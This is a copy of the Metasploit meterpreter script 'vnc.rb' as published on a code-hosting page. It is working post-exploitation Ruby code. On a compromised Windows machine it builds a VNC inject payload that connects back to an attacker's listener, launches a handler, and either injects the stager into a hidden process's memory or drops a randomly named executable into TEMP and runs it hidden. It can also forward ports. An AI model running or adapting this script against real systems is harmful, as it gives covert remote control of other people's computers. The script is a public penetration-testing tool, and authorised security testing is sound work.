Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/vnc.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567#8# Meterpreter script for obtaining a quick VNC session9#1011session = client1213#14# Options15#16opts = Rex::Parser::Arguments.new(17"-h" => [ false, "This help menu"],18"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],19"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"],20"-v" => [ true, "The local port for the VNC proxy service (default: 5900)"],21"-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"],22"-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"],23"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"],24"-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"],25"-V" => [ false, "Disable the automatic launch of the VNC client"],26"-t" => [ false, "Tunnel through the current session connection. (Will be slower)"],27"-c" => [ false, "Enable the VNC courtesy shell"]28)2930#31# Default parameters32#3334if (client.sock and client.sock.respond_to? :peerhost and client.sock.peerhost)35rhost = Rex::Socket.source_address(client.sock.peerhost)36else37rhost = Rex::Socket.source_address("1.2.3.4")38end39rport = 454540vport = 590041lhost = "127.0.0.1"424344autoconn = true45autovnc = true46anyaddr = false47courtesy = false48tunnel = false49inject = false50runme = "notepad.exe"51pay = nil5253#54# Option parsing55#56opts.parse(args) do |opt, idx, val|57case opt58when "-h"59print_line(opts.usage)60raise Rex::Script::Completed61when "-r"62rhost = val63when "-p"64rport = val.to_i65when "-v"66vport = val.to_i67when "-P"68runme = val69when "-D"70autoconn = false71when "-O"72anyaddr = true73when "-V"74autovnc = false75when "-c"76courtesy = true77when "-t"78tunnel = true79autoconn = true80when "-i"81inject = true82end83end8485#check for proper Meterpreter Platform86def unsupported87print_error("This version of Meterpreter is not supported with this Script!")88raise Rex::Script::Completed89end90unsupported if client.platform != 'windows'9192#93# Create the raw payload94#95if (tunnel)96print_status("Creating a VNC bind tcp stager: RHOST=#{lhost} LPORT=#{rport}")97payload = "windows/vncinject/bind_tcp"9899pay = client.framework.payloads.create(payload)100pay.datastore['RHOST'] = lhost101pay.datastore['LPORT'] = rport102pay.datastore['VNCPORT'] = vport103else104print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport}")105payload = "windows/vncinject/reverse_tcp"106107pay = client.framework.payloads.create(payload)108pay.datastore['LHOST'] = rhost109pay.datastore['LPORT'] = rport110pay.datastore['VNCPORT'] = vport111end112113if (not courtesy)114pay.datastore['DisableCourtesyShell'] = true115end116117if (anyaddr)118pay.datastore['VNCHOST'] = "0.0.0.0"119end120121if autoconn122mul = client.framework.exploits.create("multi/handler")123mul.share_datastore(pay.datastore)124125mul.datastore['WORKSPACE'] = client.workspace126mul.datastore['PAYLOAD'] = payload127mul.datastore['EXITFUNC'] = 'process'128mul.datastore['ExitOnSession'] = true129mul.datastore['WfsDelay'] = 7130131mul.datastore['AUTOVNC'] = autovnc132133print_status("Running payload handler")134mul.exploit_simple(135'Payload' => mul.datastore['PAYLOAD'],136'RunAsJob' => true137)138end139140raw = pay.generate141if (inject)142#143# Create a host process144#145pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid146print_status("Host process #{runme} has PID #{pid}")147host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)148mem = host_process.memory.allocate(raw.length + (raw.length % 1024))149150print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")151print_status("Writing the VNC stager into memory...")152host_process.memory.write(mem, raw)153host_process.thread.create(mem, 0)154else155exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)156print_status("VNC stager executable #{exe.length} bytes long")157158#159# Upload to the filesystem160#161tempdir = client.sys.config.getenv('TEMP')162tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"163tempexe.gsub!("\\\\", "\\")164165fd = client.fs.file.new(tempexe, "wb")166fd.write(exe)167fd.close168print_status("Uploaded the VNC agent to #{tempexe} (must be deleted manually)")169170#171# Execute the agent172#173print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...")174pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})175end176177if tunnel178# Set up a port forward for the exploit/multi/handler to use for uploading the stage179print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}")180client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}")181end182183184185